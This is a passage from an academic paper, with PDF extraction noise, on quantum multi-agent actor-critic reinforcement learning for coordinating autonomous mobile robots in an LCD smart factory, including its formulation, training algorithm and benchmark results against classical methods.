+RY (δ) = e−i δ
+2 Y ,
+RZ(δ) = e−i δ
+2 Z,
+(4)
+where rotation angles are denoted as δ ∈ R[0, 2π]. These basic
+Pauil and rotation gates are unitary matrices, U †U = I, where
+I denotes an identity matrix.
+
+3
+Multi-Qubit Quantum State. Multi-qubit system enables
+super-fast quantum computing due to quantum superposition.
+The well-known quantum algorithms (e.g., Shor algorithm
+[33] and Grover search [34]) are based on the multi-qubit
+system. The quantum state with q qubits is denoted as |ψ⟩ =
+|ψ1⟩ ⊗ |ψ2⟩ ⊗ · · · ⊗ |ψq⟩ = �2q−1
+n=0 αn|n⟩, where ⊗, αn and
+|n⟩ stand for superposition operator (i.e., tensor-product), and
+n-th probability amplitude and n-th basis of q-qubits quantum
+state, respectively. Note that the sum of squared magnitude of
+probability amplitude equals 1, i.e., �2q−1
+n=0 |αn|2 = 1 [32]. To
+realize quantum superposition, there are quantum gates that
+operate on multiple qubits, called controlled rotation gates.
+They act on a qubit according to the signal of several con-
+trol qubits, which generates quantum entanglement between
+those qubits. Among them, the Controlled-X (or CNOT) gate
+CX =
+�I
+0
+0
+X
+�
+is one of the widely used control gates.
+These multi-qubit gates allow quantum algorithms to work
+with their features on VQC, which will eventually be utilized
+for QMARL.
+III. AUTONOMOUS MOBILE ROBOTS COORDINATION FOR
+SMART MANUFACTURING
+A. Design of an Autonomous Mobile Robot System
+An automated guided vehicle (AGV) is a portable robot that
+travels along lines or wires marked on the floor or navigates
+using radio waves, vision cameras, magnets, or lasers. AGVs
+are widely used in industrial applications to transport heavy
+materials around large industrial facilities such as factories and
+warehouses. Therefore, it is obvious that AGVs are essential
+to smart factory management. The autonomous mobile robot
+(AMR) differs from AGV because it has various sensors
+that enable autonomous location identification and search by
+detecting surrounding static and dynamic objects. Their paths
+are generated based on static and dynamic obstacles in real
+time so that AMR can travel freely without a predefined path.
+While the system is more flexible, real-time path generation
+poses additional challenges that fleet management systems
+(FMSs) must deal with such as, performing activities, e.g.,
+shipping transport orders, routing vehicles, and scheduling
+task execution. Note that AMRs are tightly combined, which
+leads to high computational complexity. For example, the
+performance of AMRs suffer when considering all possible
+AMR paths, even though the numbers of AMRs and transfer
+orders are relatively small. As a result, centralized AMR
+fleet management and order execution optimization are often
+not performed in real time. Therefore, the use of MARL
+algorithms is widely considered and studied [35]. For further
+performance improvement, QMARL can be additionally uti-
+lized, as we discuss in this paper.
+B. Automated LCD Smart Factory with Multiple AMRs
+Thanks to the properties of QC, QC has shown that QC
+could save many orders of magnitude in energy consumption
+compared to classical supercomputers [36]. Regarding QRL,
+recent studies show quantum supremacy [22]. In this paper,
+we consider a liquid crystal display (LCD) smart factory
+system which utilizes DC-based AMRs. As shown in Fig. 1,
+the color thin-film transistor (TFT) LCD panel consists of
+two glass substrates; a TFT array substrate and a color filter
+substrate. TFT LCD panels are fabricated by a combination
+of five processes; TFT array filter process, color filter process,
+repair process, cell fabrication process, and module assembly
+process. The first two processes (i.e., TFT array filter and color
+filter processes) are carried out at Site A, the two substrates
+are carried by AMR and the rest of the process is carried
+out at Site B. Each AMR has a role in the transition from
+providing services to flexible areas that require decisions to
+be made based on dividing the service area into several zones.
+In the process of manufacturing TFT LCDs, various defective
+LCDs can occur which should not be used. Therefore, to
+prevent the usage of such defective LCDs, the AMRs must
+identify the defective products and request a quality verifi-
+cation of the LCD. Techniques of detecting defects among
+LCDs have already been developed and implemented in smart
+factories [37]–[39]. By using the precision parameter proposed
+by the works above, the AMRs will recognize defective LCDs
+and unload them in another collection point dedicated for
+defects.
+In this paper, we assume that all AMRs have the optimal
+trajectory planners and charging schedulers such as [40], [41].
+Thus, our proposed QMARL model must plot the trajectory of
+each AMR such that the defective LCDs are separated while
+the normal products are properly unloaded. For communica-
+tion, the QDL server is wire-linked to every site, and each
+site is wirelessly connected with AMRs. Since the packet size
+is small, and the transmit power is sufficient in LCD smart
+factory, we assume that the packet loss is negligible. The
+QDL server receives observation from AMRs, reconfigures
+the state, and finally transmits action decisions to AMRs. For
+flexible manufacturing, AMRs should be properly planned to
+load goods, unload goods, and control the quality of LCD.
+Moreover, the decision-making process of scheduling and
+dispatching these resources is essential for optimal utilization
+and high AMR productivity performance.
+Problem Definition and Formulation. In this situation, a
+quantum deep learning (QDL) server supports the decision-
+making process for efficiently scheduling material handling
+systems, under the fundamental concept of the CTDE-based
+QMARL framework. Specifically, the QDL server makes dis-
+tributed and sequential decisions for each AMR to determine
+their goods (i.e., the number of goods to carry in each AMR
+and requesting quality control) for eliminating the overflow
+and underflow of delivering goods in each AMR.
+IV. QUANTUM MULTI-AGENT ACTOR-CRITIC NETWORK
+FOR AUTONOMOUS MULTI-ROBOT COORDINATION
+A. Fundamental MDP Formulation
+Our considering autonomous multi-robot coordination in
+a smart factory environment consists of M sites and N
+AMR agents. The smart factory environment is mathematically
+modeled with POMDP (referred to as Sec. II). Hereafter, we
+explain the description based on m-th site, n-th agent, and
+time step t.
+
+4
+Manufacturing 
+Process
+Problem 
+Statement
+Site A
+AMR 
+Warehouse
+Site B
+Warehouse
+Liquid Crystal Display (LCD) Smart Factory
+QDL Server
+QDL Server B
+𝑠!
+𝑜!
+"
+𝑜!
+#
+𝑟!
+𝑎!
+"
+𝑎!#
+𝑠!$"
+𝑁
+decentralized 
+agents
+Observation
+Action
+Current
+state
+Next 
+state
+Reward
+TFT Filter
+Color Filter
+Mura
+Abnormal patterns
+Repair
+LCD cell
+Module
+Processing time 
+Cleaning time
+Repair
+Problem-solving: Joint optimization
+Problem-modeling: POMDP 
+Critic 
+Network
+Actor 
+Networks
+Fig. 1: System model: Liquid crystal display panel manufacturing using quantum multi-agent reinforcement learning
+1) Load Dynamics: Each site has a warehouse where the
+load capability is cW
+max. In addition, the load capacities of
+AMR agents is under the maximum capacities cA
+max. AMR
+agents receive goods (e.g., LCD panels or TFTs) from other
+AMRs. In this paper, we denote the load weights bA,n
+t
+.
+The load weights follow the uniform distribution ∀bA,n
+t
+∼
+U(0, wload · bmax). The warehouse and AMR agents have
+loading status cW,m
+t
+and cA,n
+t
+that are temporally loaded
+goods. All AMR agents carry their goods to warehouses. The
+dynamics are as follows,
+cξ,n
+t+1 = clip(cξ,n
+t
+− aξ,n
+t
++ bξ,n
+t
+, 0, cξ
+max),
+(5)
+where ξ ∈ {W, A} identifies the warehouse and an AMR
+agent. The terms aξ,k
+t
+and bξ,n
+t
+imply the total delivered goods
+weights and the received goods weights of m-th warehouse or
+n-th AMR agent, respectively. Note that aA,n
+t
+is n-th AMR
+agent’s action. In addition, a clipping function is defined as
+clip(x, xmin, xmax) ≜ min(xmax, max(x, xmin)).
+2) Quality Control: We assume that the loads have been
+classified by the previous defect detection process. In the
+defect detection process, four types are given to the loads
+(i.e., true positives, false positives, false negatives, and true
+negatives), which make the statistics (i.e., precision, recall, and
+F-score). This paper considers the load status as the quality
+statistics (e.g., precision). Among them, quality statistics are
+given to AMR agents. The AMR agents can make action
+decisions for re-requesting quality control of the load. If the
+loads are requested for quality control, the loads undergo qual-
+ity verification by quality engineers. We assume that quality
+engineers can detect all defects on load perfectly. However, the
+quality re-assurance process via quality engineers additionally
+requires τqual time delay.
+3) Utility Design: We design the utility for quality, time
+delay, and load balancing. First of all, AMR agents receive the
+goods with the type of true positives (TP) and false positives
+(FP). The metric, i.e., precision, can represent the ratio of
+positive predictive value, which is written as follows:
+uq,n
+t
+=
+TPn
+t
+TPn
+t + FPn
+t
+,
+(6)
+where TPn
+t
+=
+�
+load∈ln
+t 1(load
+=
+TP) and FPn
+t
+=
+�
+load∈ln
+t 1(load = FP) stand for the true positives and false
+positives of n-th AMR, respectively. Note that ln
+t denotes the
+whole load defect status of n-th AMR. Regarding the delay,
+we measure the processing time. Thus, the delay utility of n-th
+AMR agent is written as follows:
+ud,n
+t
+= −
+�
+1 + τqual · qn
+t
+�
+,
+(7)
+where qn
+t
+denotes the quality control action. If qn
+t
+= 1,
+the loads are conveyed to quality engineers; otherwise, the
+loads are conveyed to other-site. Finally, load balancing is to
+minimize the total amount of overflowed load and the event
+where the load is empty. Thus, the utility for load balancing
+is written as follows:
+ub,n
+t
+= 1(cA,n
+t+1=0) · ˜cA,n
+t
++ 1(cA,n
+t+1=cA
+max) · ˆcW,n
+t
+(8)
+uW,m
+t
+= 1(cW,m
+t+1 =0) · ˜cW,m
+t
++ 1(cW,m
+t+1 =cW
+max) · ˆcW,m
+t
+(9)
+where ˜cW,m
+t
+= |cW,n
+t
+−aW,n
+t
++bW,n
+t
+| and ˆcW,n
+t
+= |cmax−˜cW,n
+t
+|.
+Note that r(st, at) ∈ [−∞, 0] (negative) because this paper
+considers the occurrence of abnormal loading status (e.g., load
+overflow or underflow) as a negative utility. The objective is
+to maximize the total precision and minimize the total delay
+and overflowed or underflowed event.
+B. POMDP Setup
+This
+subsection
+introduces
+the
+formal
+definition
+of
+POMDP, i.e., a stochastic decision-making model under un-
+
+blobmura
+blackspot
+white spot
+Around gap mura
+linemuraa
+(b)5
+certainty among agents [42]; and our proposed QMARL
+is mathematically modeled with this fundamental concept
+of POMDP. Note that POMDP is defined as a tuple
+⟨N, S, A, P, r, Z, O, ρ, γ, T⟩. The sets of states and obser-
+vations are represented as S and Z, respectively. N
+:=
+{1, · · · , N} and s ∈ S denote the set of N agents and the
+current state of the environment, respectively. The initial state
+s0 ∼ ρ follows the distribution ρ. The action of n-th agent
+an ∈ A is discrete or continuous actions, and the joint action
+is denoted as a := {an}N
+n=1. The transition is determined
+with probability function P(s′|s, a) : S × A × S → S,
+where s′ denotes the next state. The shared reward rt =
+r(st, at) : S × A → R is given to whole agents. In Dec-
+POMDP, the true state s is not directly given to agents. Each
+agent n ∈ N has observation zn ∈ Z from observation
+function O(s, a) : S × A → Z. We consider that all
+agents have parameter-shared policy denoted as πθ. Thus, the
+policy πθ takes the n-th agent’s observation zn
+t
+∈ Z and
+decides n-th agent’s action as πθ(a|zn) : Z × A → [0, 1].
+The objective of POMDP is to obtain the optimal policy
+π∗
+θ = arg maxπθ Ea∼πθ[�T
+t=1 γt−1 · rt], where γ ∈ R[0, 1]
+and T denote the discount factor and finite time, respectively.
+Based on this definition, we design the POMDP as follows:
+1) Observation:
+Each AMR agent partially obtains its
+observation. Because the parameter shared policy πθ is used,
+the observation contains the binary indicator vector n2. In
+addition, n-th AMR agent makes its action decision with
+its loading status cA,n
+t
+, and the current loading status of
+warehouse {cW,m
+t
+}M
+m=1. In summary, n-th agent’s observation
+is defined as zn
+t ≜ {n2, cA,n
+t
+} ∪ {cW,m
+t
+}M
+m=1.
+2) State: A state information variable containing informa-
+tion about all AMR agents’ and warehouse’s loading sta-
+tus is designed. The state variable at time t is as st =
+{cA,n
+t
+, ud,n
+t
+}N
+n=1∪{cW,m
+t
+}M
+m=1. Note that the state information
+is utilized as the input of the quantum critic network.
+3) Action: It is considered that AMR agents can choose
+which warehouse to convey goods, where the destination
+space is defined as I ≜ {1, · · · , M}. In addition, AMR
+agents can determine conveying quantity to the warehouse.
+The conveying quantity and the quality control space is defined
+as P ≜ {pmin, · · · , pmax} and Q ≜ {0, 1}, respectively.
+Finally, n-th AMR agent’s action and its action space are
+defined as an
+t := (in
+t , pn
+t , qn
+t ) ∈ A ≡ I × P × Q.
+4) Reward: The objective of POMDP is to minimize the
+total amount of overflowed load and the event where the load
+is empty. Thus, the reward r(st, at) is defined as follows,
+r(st, at) =
+N
+�
+n=1
+(uq,t
+t
++wd ·ud,n
+t
++wb ·ub,n
+t
+)+wW ·
+M
+�
+m=1
+uW,m
+t
+,
+(10)
+where wd, wb, and wW stand for reward coefficients for
+time delay, and load-balancing of AMR agents and sites,
+respectively.
+C. Quantum Multi-Agent Actor-Critic Network Design
+1) State Encoding Circuit: The state encoding circuit is
+leveraged for feedforwarding a state input. Fig. 2 presents
+(a) State encoder in quantum actor
+(b) State encoder in quantum critic
+Fig. 2: The illustration of the state encoder.
+������������1
+��������������������������������������������������������������������������
+������������
+������������������������������������������������������������������������+1
+������������
+2������������������������������������������������������������������������
+������������
+2������������������������������������������������������������������������ + 1
+������������
+3������������������������������������������������������������������������
+������������
+VQC
+Block 
+1
+VQC
+Block 
+L
+(a) VQC block
+(b) Parameterized circuit
+Fig. 3: The illustration of the parameterized circuit.
+the two schemes of state encoder. Fig. 2(a)/(b) need a single
+gate or two gates per qubit, respectively. Despite the encoding
+system showing the best performance when the number of
+qubits is equal to the number of input variables, the number
+of input variables in RL (i.e., state) must be larger than
+the number of qubits [26]. Thus, this paper considers two
+state encoders under the consideration of the environment, as
+follows,
+U a
+enc(z) =
+�
+⊗K
+k=1 (RY (xz
+k))
+�
+· |0⟩⊗qactor,
+(11)
+U c
+enc(s) =
+�
+⊗K′
+k′=1 (RY (xs
+2k′) · RX(xs
+2k′−1))
+�
+· |0⟩⊗qcritic,
+(12)
+where xz
+k and xs
+k′ stand for k-th entry of observation z and k′-
+th entry of state s, respectively. Note that U a
+enc(z) and U c
+enc(s)
+denote an actor observation encoder and critic state encoder.
+The actor observation encoder and critic state encoder work
+in the K and K′ qubits system, respectively.
+2) Parameterized Circuit and Quantum Measurement: A
+parameterized circuit is a quantum circuit that performs nu-
+merical tasks such as estimation, optimization, approximation,
+and classification using learnable parameters. As shown in
+Fig. 3(a), The VQC block consists of rotating gates with
+different directions and Controlled-Z gate, i.e., RX, RY , RZ,
+and CZ =
+�
+I
+0
+0
+Z
+�
+. Note that CZ is used to entangle qubits.
+To improve the circuit’s performance, this paper configures the
+parameterized circuit with multi-VQC blocks, which requires
+additional trainable parameters θ as shown in Fig. 3. To obtain
+the desirable outputs, the measurement M is leveraged, which
+calculates the expected value of superpositioned quantum
+states based on its computational basis. In summary, the
+observable (i.e., expected value) is written as follows:
+⟨O⟩x,θ =
+�
+M∈M
+⟨0|U †
+enc(x)U †
+VQC(θ)MUVQC(θ)Uenc(x)|0⟩,
+(13)
+where ⟨O⟩x,θ is the output of VQC with inputs x and circuit
+parameter θ; M is the set of quantum measurement bases in
+VQC with |M| ≤ nqubit.
+
+6
+3) Implementation on Quantum Actor-Critic: The proposed
+QMARL for a smart factory in this paper is decentralized for
+scalability. Every AMR agent in the QMARL has a VQC-
+based policy, i.e., agents do not require communication among
+agents. The observables of the actor/critic are as follows,
+⟨Oa⟩o,θ=
+�
+⟨0|U a†
+enc(o)U a†
+VQC(θ)MU a
+VQC(θ)U a
+enc(o)|0⟩
+�
+M∈Ma,
+(14)
+⟨Oc⟩s,φ=
+�
+⟨0|U c†
+enc(s)U c†
+VQC(φ)MU c
+VQC(φ)U c
+enc(s)|0⟩
+�
+M∈Mc.
+(15)
+Quantum Actor. For the quantum actor, the observable of
+(14) is used to calculate the probabilities of actions of each
+AMR agent. Then, the quantum policy is written via a softmax
+function of its observable,
+πθ(at|zt) = softmax(βa⟨Oa⟩zn
+t ,θ),
+(16)
+where
+softmax(x) ≜
+�
+ex1
+�N
+i=1 exi ; · · · ;
+exN
+�N
+i=1 exi
+�
+(17)
+and βa is the scaling factor for an actor observable, respec-
+tively. At the time t, the actor policy of n-th agent makes
+an action-decision with the given observation on
+t , which is
+denoted as πθ(an
+t |on
+t ). Note that θ denotes parameters of n-th
+actor. Then, the action an
+t is computed as follows,
+an
+t = arg max
+a
+πθ(a|on
+t ),
+(18)
+and note all agents use the same policy by parameter sharing.
+Quantum
+Centralized
+Critic. The centralized critic is
+adopted for CTDE as a state-value function. At time t, the
+parameterized critic estimates the discounted returns given at
+as follows:
+Vφ(st) = βc⟨Oc⟩st,φ ≃ E[
+T
+�
+t′=t
+γt′−t· r(st′,ut′)|st = s],
+(19)
+where γ, T, at, βc, and r(st′, at′) stand for a discounted factor
+γ �� [0, 1), an episode length, the actions of all agents, scaling
+factor for a critic observable and reward functions that the
+state st′ and action a′
+t are given, respectively. In addition, φ
+presents the trainable parameters of a critic. Here, st is the
+ground truth state at t.
+D. Training Algorithm
+The objective of MARL agents is to maximize discounted
+returns. To derive the gradients for the maximization objective,
+we leverage the joint state-value function Vφ. To train Vφ, this
+paper leverages a multi-agent policy gradient (MAPG), which
+is formulated as follows,
+∇θLactor = −Ea∼πθ
+� T
+�
+t=1
+N
+�
+n=1
+yt∇θlog πθ(an
+t |zn
+t )
+�
+,
+(20)
+∇φLcritic = ∇φ
+T
+�
+t=1
+∥yt∥2 ,
+(21)
+Algorithm 1: Quantum Multi-AMR Agents Training
+1 Initialize the critic and actor networks with weights θ
+and φ and the replay buffer D = {};
+2 Initialize the target networks as: φT ← φ;
+3 for episode = 1, MaxEpisode do
+4
+▷ Initialize Smart Factory Environments;
+5
+t = 0;
+6
+s0 = initial state;
+7
+while st ̸= terminal and t < episode limit do
+8
+for each agent n do
+9
+Calculate πθ(a|on
+t ) and sample an
+t ;
+10
+end
+11
+Get reward rt and next state and observations
+st+1, ot+1 = {on
+t }N
+n=1;
+12
+D = D ∪ {(st, ot, at, rt, st+1, ot+1)};
+13
+t = t + 1;
+14
+end
+15
+for each timestep t in each episode in batch D do
+16
+Get Vφ(st); VφT(st+1);
+17
+Calculate the target yt with (22);
+18
+end
+19
+Calculate ∇θLactor, ∇φLcritic, and update θ, φ;
+20
+if target update period then
+21
+Update the target network, φT ← φ
+22
+end
+23 end
+TABLE II: The benchmark schemes.
+Schemes
+Computing method
+# of parameters
+Proposed
+Quantum
+≈ 110
+Comp1
+Quantum/Classical
+≈ 110
+Comp2
+Classical
+≈ 110
+Comp3
+Classical
+≈ 40K
+Comp4
+Random Walk
+None
+subject to
+yt = r(st, at) + γVφT(st+1) − Vφ(st),
+(22)
+where φT is the parameters of target critic network. Note that
+(20) and (21) are for following the parameter-shift rule [43],
+written as follows:
+∂Lactor
+∂θi
+= ∂Lactor
+∂πθ
+·
+∂πθ
+∂⟨O⟩o,θ
+·
+�
+⟨O⟩o,θ+π
+2 ei−⟨O⟩o,θ−π
+2 ei
+�
+, (23)
+∂Lcritic
+∂φj
+= ∂Lcritic
+∂Vφ
+·
+∂Vφ
+∂⟨O⟩s,φ
+·
+�
+⟨O⟩s,φ+π
+2 ej−⟨O⟩o,φ−π
+2 ej
+�
+, (24)
+where ei and ej stand the i- and j-th standard bases of
+parameterized vectors θ and φ, respectively. Note that the two
+left partial derivatives are derived by classical computing, and
+the last term is obtained by quantum computing. The detailed
+training procedure is presented in Algorithm 1.
+
+7
+Proposed
+Comp1
+Comp2
+Comp3
+Comp4
+0
+500
+1000
+Epoch
+-300
+-200
+-100
+0
+Reward
+0
+500
+1000
+Epoch
+87
+88
+89
+90
+91
+92
+93
+Avg. Precision [%]
+0
+500
+1000
+Epoch
+200
+250
+300
+350
+Processing Time [minute]
+0
+500
+1000
+Epoch
+0
+2
+4
+6
+8
+10
+Avg. Load in AMR [kg]
+0
+500
+1000
+Epoch
+0
+200
+400
+600
+800
+Avg. Load in Warehouse [kg]
+(a) Total reward
+(b) Precision
+(c) Total Processing Time
+(d) Avg. loaded amount in AMR
+(e) Avg. loaded amount in warehouse
+0
+500
+1000
+Epoch
+50
+100
+150
+200
+250
+Overflowed in AMR [kg]
+0
+500
+1000
+Epoch
+0
+5
+10
+15
+20
+Overflowed in Warehouse [kg]
+0
+500
+1000
+Epoch
+20
+40
+60
+80
+100
+120
+Underflowed in AMR [kg]
+0
+500
+1000
+Epoch
+300
+400
+500
+600
+700
+Underflowed in Server [kg]
+(f) Overflowed load in AMR
+(g) Overflowed load in warehouse
+(h) Underflowed load in AMR
+(i) Underflowed load in warehouse
+Fig. 4: The experimental result of various metrics with comparing different MARL frameworks.
+TABLE III: The experiment parameters.
+Parameters
+Values
+The number of sites (M)
+2
+The number of AMRs (N)
+6
+The load capacity of warehouse
+2, 000 kg
+The load capacity of AMR agent
+500 kg
+Observation dimension
+6
+Precision (Reported [39])
+{61.9, 95.8, 97.1}%
+Weight of TFT-LCD (Reported [44])
+6 kg
+Action dimension
+5
+State dimension
+8
+Episode length
+30 timestep
+Reward coefficient (wd, wb, wW )
+(0.1, 1, 10)
+Time delay by quality engineers (τqual)
+3 timestep
+Actor observable hyperparameter βa
+3
+Critic observable hyperparameter βc
+35
+Optimizer
+Adam optimizer
+The number of gates in U a
+p and U c
+p
+54
+The number of qubits of actor
+8
+The number of qubits of critic
+8
+Learning rate of actor
+1 × 10−2
+Learning rate of critic
+1 × 10−3
+Weight decay
+1 × 10−5
+V. PERFORMANCE EVALUATION
+A. Experimental Setup
+To verify the effectiveness of the proposed QMARL frame-
+work for smart factory management (named, Proposed), the
+proposed QMARL-based algorithm is compared with four
+comparing methods as listed in Table II. The purpose of these
+numerical experiments is as follows,
+• The comparative experiments of Proposed, Comp1,
+and Comp2 are conducted to corroborate the quantum
+advantages. The number of parameters is equally set for
+a fair comparison.
+• This paper compares Proposed and Comp3 to verify
+that the proposed method can achieve better performance
+than the latest MARL technique.
+• To verify the superiority of MARL, this paper compares
+MARL schemes to random walk schemes, i.e., Comp4.
+• To investigate the robustness of quality control, we train
+benchmark schemes in various environments regarding
+precision. We validate the fact that the quality of the load
+is time-varying in the environment. We corroborate the
+robustness of the quality control in our proposed scheme.
+The simulation parameter settings are listed in Table III.
+Because the number of qubits used in this paper is lower
+than 110, this paper assumes that quantum noise is negligible.
+Comp1 is a hybrid quantum classical method utilizing A2C
+critic structure which is proposed and developed in another
+work [45]. Moreover, Comp2 and Comp3 are based on
+CTDE structure. Specifically, the value decomposition net-
+work (VDN) [46]. For a fair comparison, we compose the
+neural network of linear operations and activation functions
+(i.e., linear or dense layer). The python software libraries
+(torchquantum and pytorch) are used for deploying
+VQCs and DL methods, which support GPU acceleration [16].
+In addition, all experiments are conducted on a multi-GPU
+platform (equipped with 2 NVIDIA Titan XP GPUs using a
+1405 MHz main clock and 12 GB memory) for training and
+inferencing/testing.
+B. Performance of Training
+Fig. 4 presents the numerical results corresponding to the
+training metric. This paper adopts total reward, precision,
+
+8
+TABLE IV: The numerical results of various metrics corresponding to the different benchmark schemes.
+Metric
+Benchmark Scheme
+[SI Unit of (a)–(f): kg]
+Proposed
+Comp1
+Comp2
+Comp3
+Comp4
+(a) Avg. load status of AMR
+6.0
+2.9
+9.3
+2.9
+2.6
+(b) Avg. load status of server
+511
+88
+87
+244
+87
+(c) Avg. overflowed load in AMR
+81
+101
+224
+131
+103
+(d) Avg. overflowed load in server
+2.6
+0
+0
+5.1
+0
+(e) Avg. underflowed load in AMR
+77
+106
+227
+136
+100
+(f) Avg. underflowed load in server
+371
+628
+630
+493
+579
+(g) Avg. precision of load [%]
+92.1%
+90.8%
+90.8%
+92.2%
+89.3%
+(h) Avg. processing time [Minute]
+292
+294
+255
+371
+253
+processing time, and loaded/overflowed/underflowed amount
+in AMR/server as training metrics. As shown in Fig. 4(a),
+all training benchmark schemes (i.e., Proposed, Comp1,
+Comp2 and Comp3) converge to the expected value for
+each different total reward. Proposed, which utilizes VQCs
+for both actor and critic network configuration, can observe
+the increased total reward from the beginning of learning to
+980 epochs. Then, the total reward of Proposed achieves
+the final value of −37. Comp1 and Comp2, which share a
+common state-value network composed of a small number of
+parameters, do not evaluate their values properly and cause
+the reward to exist between −205 and −240. This is lower
+than −200, which is the expected value of the total reward
+when a random walk is performed. However, a classical actor
+and critic composed of a large number of parameters (≈ 40K)
+show similar performance to the proposed scheme (e.g., ±10
+performance difference in the total reward).
+In Proposed and Comp3, policy evaluation and improve-
+ment are trained to increase the total reward. However, Comp1
+and Comp2 with classical critic networks composed of small
+parameters are trained (i.e., actor loss and critic loss are
+reduced), but not in the direction of reward increasing. In other
+words, policy evaluation and improvement are not working
+correctly. The only difference between Proposed and Comp1
+is whether the critic is a quantum-based or a classical critic,
+and there is a huge difference in training performance. In
+addition, compared with Comp3, the number of parameters
+is 364x lower than that of Comp3, whereas the performances
+are almost equivalent to each other.
+C. Feasibility Studies in the LCD Smart Factory Environment
+This section investigates the proposed model’s performance
+in LCD smart factory environment. Fig. 4 shows the results
+of various metrics in the training process, and Table IV
+shows the performance after training is finished. The result
+of Table IV represents the average value of inference of
+100 iterations. Fig. 4(b–c) represent the average quality and
+processing time, respectively. Fig. 4(d–i) show the amount of
+loaded, overflowed, and underflowed load amount generated
+in warehouse and AMR, respectively. For this simulation, the
+total amount of overflowed/underflowed loads achieve target
+performance if the corresponding values become 0. During
+the training process, it is shown that the values of the two
+metrics (i.e., the amount of overflowed/underflowed loads) of
+the Proposed and Comp3 are reduced. Therefore, it can
+be inferred that Proposed and Comp3 are trained in the
+correct direction. On the other hand, overflowed loads sparsely
+occurred in Comp1 and Comp2. However, the underflowed
+load amount is the highest, which proves that Comp1 and
+Comp2 are learning in the direction that satisfies only one
+of the two goals. Furthermore, this tendency also affects the
+average load status of the warehouse and AMR agents. In the
+proposed scheme of this paper, it is confirmed that all four
+values of the indicators continuously decrease until they reach
+the approximate value of 0. Hence, it is confirmed that the
+AMR agent has the average load of 3.6 kg in Fig. 4.
+D. Impact on State Encoding Method
+According to [31], [47], state-encoding is crucial for the
+performance of QRL. Therefore, an experiment is designed to
+demonstrate the importance of state encoding. This experiment
+aims to transform four random bits into continuous scalar
+values. The output value is calculated as y = �4
+i=1 xi∗21−i. In
+this transformation process, {4, 2, 1} variables dense encoding
+is carried out to compare the dense encoding methods. Note
+that the number of parameters in VQCs is identical to 50.
+The result is shown in Fig. 6, and it is concluded that the
+performance of 1, 2 variables dense encoding is high while
+the performance of 4 variables dense encoding is low. In
+other words, the 2-variables encoding used in this paper has
+less performance degradation than the 4-variables encoding
+technique.
+E. Robustness of Quality Control
+We design the experiment to investigate the robustness
+of the proposed framework. To benchmark the robustness,
+we design the smart factory environment that is time-
+varying and configure the environment in four phases. In
+phase 1, the precision of load is randomly selected from
+{61.9, 95.8, 97.1}%, which is identical to the training envi-
+ronment. Note that the initial precision follows the uniform
+distribution U[61.9, 97.1]%. The quality of LCD load carried
+by each AMR varies with time (e.g., 61.9%, 95.8%, and 97.1%
+for phase 2, phase 3, and phase 4, respectively). Then, the
+average precision is measured for 60 minutes to investigate the
+
+9
+Phase I
+Phase II Phase III Phase IV
+95
+90
+85
+80
+75
+70
+0
+10
+20
+30
+40
+50
+60
+Time [Minute]
+Avg.
+  Precisio
+ 
+n
+ 
+ 
+ [%]
+Fig. 5: The robustness of quality control with time-varying
+quality of loads.
+0
+1000
+2000
+3000
+4000
+5000
+Epoch
+0
+0.2
+0.4
+0.6
+0.8
+1
+Training Loss
+1 Variable Dense Encoding
+2 Variables Dense Encoding
+4 Variables Dense Encoding
+Fig. 6: The mini-experiment for benchmarking various state
+encoding methods.
+robustness of quality control. The result of Fig. 5 represents the
+average precision value of inference of 100 iterations. During
+phase 1, the precision records 88.4% on average. At t = 30,
+the quality of the input load decreases, i.e., the input load’s
+precision equals 61.9%. Thus, the precision is 72.4%, the
+lowest precision during the episode. In response to this result,
+the AMR agents try to improve the precision value during
+phase 2. On the other hand, the AMR agents do not make
+actions on quality control in phases 3 and 4 since the quality
+of input load increases from 61.9% to 97.1%. In summary,
+the robustness of quality control in our proposed scheme is
+corroborated by demonstrating the ability of our AMR agents
+to encounter and cope with the unpredictable quality of input
+load.
+F. Discussion
+This section provides in-depth discussions to explain why
+the proposed scheme outperforms the other frameworks.
+1) Expressibility of Trainable Parameters: The authors of
+[48] have argued that the parameters of VQCs have more
+expressibility for quantum neural networks than classical
+neural networks. The small number of trainable parameters
+in the RL/MARL regime acts as a vulnerability for the
+classical neural network. In [30], [31], it is proven that QRL
+and QMARL can achieve similar performance to a classical
+RL/MARL. In the results of this paper, the classical neural
+network with fewer parameters yields lower performance due
+to two reasons; 1) index embedding on observation, and 2)
+parameter-shared policy. The index embedding on agents’ ob-
+servations and the parameter-shared policy method are utilized
+for faster convergence despite taking a loss in performance.
+Furthermore, the expressibility capacity of a neural network
+is also trusted to be sufficient, which is why the two methods
+introduced above are used [49]. Unfortunately, the degradation
+in performance is significant regardless of the expressibility
+capacity. On the other hand, the quantum circuit operates
+successfully even with a small number of parameters.
+2) Dimensional Reduction Corresponding to the State En-
+coding: Information loss occurs when the input variables
+are lost by dimensional reduction. In the experiments, the
+dimension of the input variable is set to four, and the output
+variable is set to four, two, and one for different schemes,
+respectively. In four variables dense encoding, the informa-
+tion loss is severe, because four independent variables are
+encoded using four rotation gates RY (x4), RY (x3), RZ(x2),
+and RZ(x1) through a single qubit. In the cases of two
+variables dense encoding and one variable dense encoding,
+the dimensional reduction does not occur. This is proven by
+showing the encoding processes on the Bloch sphere. For two
+and one variables encoding, the qubits are rotated twice in two
+orthogonal directions (e.g., y-axis and z-axis directions) and
+once in one direction, respectively. Consequently, the ranks
+of the resultant qubits are guaranteed. Therefore, the four
+variables dense encoding method has the lowest performance
+and is outperformed by the other aforementioned methods.
+VI. CONCLUDING REMARKS
+This work has investigated the design of QMARL agents
+based on VQCs for autonomous multi-robot control and coor-
+dination in smart factory management while taking POMDP
+into consideration. When utilizing AMRs as QMARL agents,
+the two variables dense encoding method is implemented
+to reduce the number of qubits in the proposed model. In
+addition, this paper adopts the parameter-shared policy with
+index embedding, which can reduce the number of trainable
+parameters. Using the abovementioned techniques, the quan-
+tum policy and state-value function are configured to quantum
+multi-agent actor-critic. The extensive numerical results show
+the superiority of the proposed QMARL-based AMR control
+in smart factory management. Finally, the proposed QMARL
+has an explicit performance gain when using the same number
+of parameters compared to the classical MARL algorithm and
+does not suffer from a severe dimensional reduction of data
+compared to other state-encoding methods.
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+July 2018, pp. 4295–4304.
+Won Joon Yun is currently a Ph.D. student in elec-
+trical and computer engineering at Korea University,
+Seoul, Republic of Korea, since March 2021, where
+he received his B.S. in electrical engineering. He was
+a visiting researcher at Cipherome Inc., San Jose,
+CA, USA, during the summer of 2022; and also
+a visiting researcher at the University of Southern
+California, Los Angeles, CA, USA during the winter
+of 2022 for a joint project with Prof. Andreas F.
